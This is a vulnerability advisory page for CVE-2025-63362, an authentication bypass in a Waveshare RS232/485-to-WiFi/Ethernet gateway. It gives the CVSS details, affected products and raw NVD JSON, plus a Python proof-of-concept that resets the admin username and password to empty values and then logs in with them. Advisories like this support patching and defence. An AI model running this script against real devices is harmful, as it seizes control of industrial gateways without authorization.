Security Vulnerability Report
中文
CVE-2025-63362 CVSS 9.8 CRITICAL

CVE-2025-63362

Published: 2025-12-04 19:16:05
Last Modified: 2025-12-15 15:37:08

Description

Waveshare RS232/485 TO WIFI ETH (B) Serial to Ethernet/Wi-Fi Gateway Firmware V3.1.1.0: HW 4.3.2.1: Webpage V7.04T.07.002880.0301 allows attackers to set the Administrator password and username as blank values, allowing attackers to bypass authentication.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:waveshare:rs232\/485_to_wifi_eth_\(b\)_firmware:3.1.1.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:waveshare:rs232\/485_to_wifi_eth_\(b\):4.3.2.1:*:*:*:*:*:*:* - NOT VULNERABLE
Waveshare RS232/485 TO WIFI ETH (B) Firmware V3.1.1.0
Waveshare RS232/485 TO WIFI ETH (B) Hardware HW 4.3.2.1
Waveshare RS232/485 TO WIFI ETH (B) Webpage V7.04T.07.002880.0301

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-63362 PoC - Waveshare Gateway Empty Password Authentication Bypass # Target: Waveshare RS232/485 TO WIFI ETH (B) Gateway # Firmware: V3.1.1.0 / HW 4.3.2.1 / Webpage V7.04T.07.002880.0301 TARGET_IP = "192.168.1.100" # Replace with target device IP TARGET_PORT = 80 def exploit_empty_password_bypass(): """ Exploit for CVE-2025-63362: Set admin username and password to empty values to bypass authentication on Waveshare gateway devices. """ url = f"http://{TARGET_IP}:{TARGET_PORT}/cgi-bin/set_admin.cgi" # Payload to set admin username and password to empty values payload = { "username": "", "password": "", "confirm_password": "", "action": "modify" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } print(f"[*] Target: {TARGET_IP}:{TARGET_PORT}") print(f"[*] Exploiting CVE-2025-63362...") print(f"[*] Setting admin credentials to empty values...") try: response = requests.post(url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Successfully set admin credentials to empty values") print(f"[*] Now you can login with empty username and password") # Verify by attempting to login with empty credentials verify_url = f"http://{TARGET_IP}:{TARGET_PORT}/cgi-bin/login.cgi" login_payload = { "username": "", "password": "" } login_response = requests.post(verify_url, json=login_payload, headers=headers, timeout=10) if login_response.status_code == 200 and "session" in login_response.text.lower(): print(f"[+] Authentication bypass confirmed! Admin access gained.") return True else: print(f"[-] Exploit failed. Status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": exploit_empty_password_bypass()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63362", "sourceIdentifier": "[email protected]", "published": "2025-12-04T19:16:04.973", "lastModified": "2025-12-15T15:37:07.627", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Waveshare RS232/485 TO WIFI ETH (B) Serial to Ethernet/Wi-Fi Gateway Firmware V3.1.1.0: HW 4.3.2.1: Webpage V7.04T.07.002880.0301 allows attackers to set the Administrator password and username as blank values, allowing attackers to bypass authentication."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-620"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:waveshare:rs232\\/485_to_wifi_eth_\\(b\\)_firmware:3.1.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "F7FD270F-5998-4F41-A80E-8017DF6A142B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:waveshare:rs232\\/485_to_wifi_eth_\\(b\\):4.3.2.1:*:*:*:*:*:*:*", "matchCriteriaId": "F085A075-48AC-42E4-9BA6-DBB9A8B2935B"}]}]}], "references": [{"url": "https://drive.google.com/file/d/1AGv9KWMTB71NJfIOncuNO6FyK0UAqxmL/view?usp=sharing", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://otsecverse.github.io/OTSecVerse/posts/Post-2/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}